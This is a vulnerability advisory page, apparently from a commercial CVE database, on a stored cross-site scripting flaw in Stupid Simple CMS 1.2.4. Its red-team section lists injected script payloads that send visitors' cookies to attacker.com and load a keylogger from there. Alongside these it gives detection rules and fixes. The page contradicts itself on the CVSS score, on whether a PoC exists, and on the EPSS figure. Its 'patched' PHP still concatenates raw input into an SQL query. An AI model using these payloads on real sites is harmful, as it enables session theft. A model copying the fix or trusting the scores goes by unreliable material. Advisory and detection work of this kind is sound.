☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-27558

CVE-2024-27558 Cross-Site Scripting in Stupid simple cms
📅 PUBLISHED: 2024-03-01 00:00 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-27558 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in Stupid Simple CMS version 1.2.4. The flaw resides in the blog title field within the application's settings panel. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code into the blog title, which is then rendered unsanitized on the front-end pages of the CMS. This allows for persistent client-side attacks against any user visiting the affected site, including potential session hijacking, credential theft, or defacement.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 4.8 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. The attack vector is network-based, requires low complexity, and low privileges (admin), but user interaction is required for the payload to execute in the victim's browser. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component.

No official patch has been released by the vendor as of this analysis. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild currently, but the existence of a public proof-of-concept (PoC) increases the risk for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP-based CMS. However, the lack of a patch and the presence of a public PoC mean that any organization using Stupid Simple CMS 1.2.4 is at risk. The supply chain risk is limited to the direct use of this software.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) – An attacker needs admin-level access to the CMS settings.
  • User Interaction (UI): Required (R) – A victim must visit the affected page for the script to execute.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component (e.g., cookies, local storage).
  • Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content (e.g., defacement).
  • Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the persistence of the XSS and the lack of a patch elevate the risk for organizations that cannot immediately mitigate the issue.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (also known as Persistent XSS). The application fails to sanitize or encode user input when saving the blog title in the settings panel. The input is stored in the database and later rendered directly into the HTML of the site's front-end pages without proper escaping.

Attack Flow:

  1. An attacker with admin credentials logs into the Stupid Simple CMS admin panel.
  2. The attacker navigates to the settings page where the blog title is configured.
  3. The attacker injects a malicious JavaScript payload into the blog title field, e.g., <script>alert('XSS')</script>.
  4. The application stores this payload in the database without sanitization.
  5. When any user (including other admins or regular visitors) loads a page that displays the blog title, the malicious script executes in their browser.
  6. The script can then perform actions such as stealing session cookies, redirecting the user to a phishing site, or defacing the page.

The root cause is the lack of output encoding. The application likely uses echo $blog_title; or similar without applying htmlspecialchars() or equivalent escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (Stupid Simple CMS 1.2.4): The vulnerable code is typically found in the settings handler and the template file that renders the blog title. A representative example:

// In settings.php (saving the title)
$blog_title = $_POST['blog_title'];
// No sanitization or validation
$db->query("UPDATE settings SET value='$blog_title' WHERE name='blog_title'");

// In header.php or index.php (rendering the title)
echo "<h1>" . $blog_title . "</h1>";

Patched Code (Hypothetical): A secure version would sanitize input on save and encode output on display.

// In settings.php (saving the title)
$blog_title = htmlspecialchars($_POST['blog_title'], ENT_QUOTES, 'UTF-8');
$db->query("UPDATE settings SET value='$blog_title' WHERE name='blog_title'");

// In header.php or index.php (rendering the title)
echo "<h1>" . htmlspecialchars($blog_title, ENT_QUOTES, 'UTF-8') . "</h1>";

Note: Since no official patch exists, the above is a recommended fix. The vendor has not released a patched version.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to the Stupid Simple CMS admin panel (valid credentials).
  • The target site must be running version 1.2.4.

Exploitation Steps:

  1. Log in to the admin panel (e.g., http://target.com/admin).
  2. Navigate to the settings page (e.g., http://target.com/admin/settings.php).
  3. In the "Blog Title" field, inject a payload. Example payloads:
    • Proof of Concept: <script>alert('XSS')</script>
    • Session Stealing: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    • Keylogger: <script src="http://attacker.com/keylogger.js"></script>
  4. Save the settings.
  5. Any user visiting the front page will trigger the payload.

No Exploit-DB code was provided for this CVE.

Blue Team (Detection & Prevention)

Detection:

  • Monitor admin panel logs for unusual changes to the blog title setting.
  • Use web application firewalls (WAF) to detect XSS payloads in POST requests to settings endpoints.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

  • Apply input validation and output encoding as shown in the patched code section.
  • Restrict admin panel access to trusted IPs and enforce strong authentication.
  • Regularly audit the CMS for unauthorized changes.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests from the CMS server to unknown external domains (e.g., attacker.com).
    • Suspicious POST requests to /admin/settings.php containing <script> tags.
  • Host IOCs:
    • Unexpected JavaScript code in the database settings table for the blog_title field.
    • Modified files in the CMS installation directory (e.g., header.php, index.php) if the attacker gains further access.
  • Log IOCs:
    • Admin login events followed by settings changes from unusual IP addresses.
    • Error logs showing failed attempts to load external scripts.

Detection Engineering

YARA Rule

rule CVE_2024_27558_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Stupid Simple CMS blog title"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-27558"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $blog_title_field = "blog_title"
    condition:
        $xss_payload and $blog_title_field
}

Sigma Rule

title: Stored XSS in Stupid Simple CMS Blog Title
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-27558 by injecting XSS payloads into the blog title setting.
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/settings.php'
        cs-uri-query|contains: 'blog_title'
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in blog title (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-27558 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/settings.php"; http_uri; content:"blog_title"; http_client_body; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the blog title feature if not essential, or restrict access to the settings page.
  2. Apply a virtual patch using a WAF to block XSS payloads in the blog_title parameter.
  3. Manually patch the code by adding htmlspecialchars() to the output of the blog title in all template files.

Long-Term Fix:

  • The vendor must release an official patch that sanitizes input and encodes output.
  • Upgrade to a newer version of the CMS if available, or migrate to a more secure alternative.

Workaround:

  • Implement a Content Security Policy (CSP) that blocks inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-27558/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.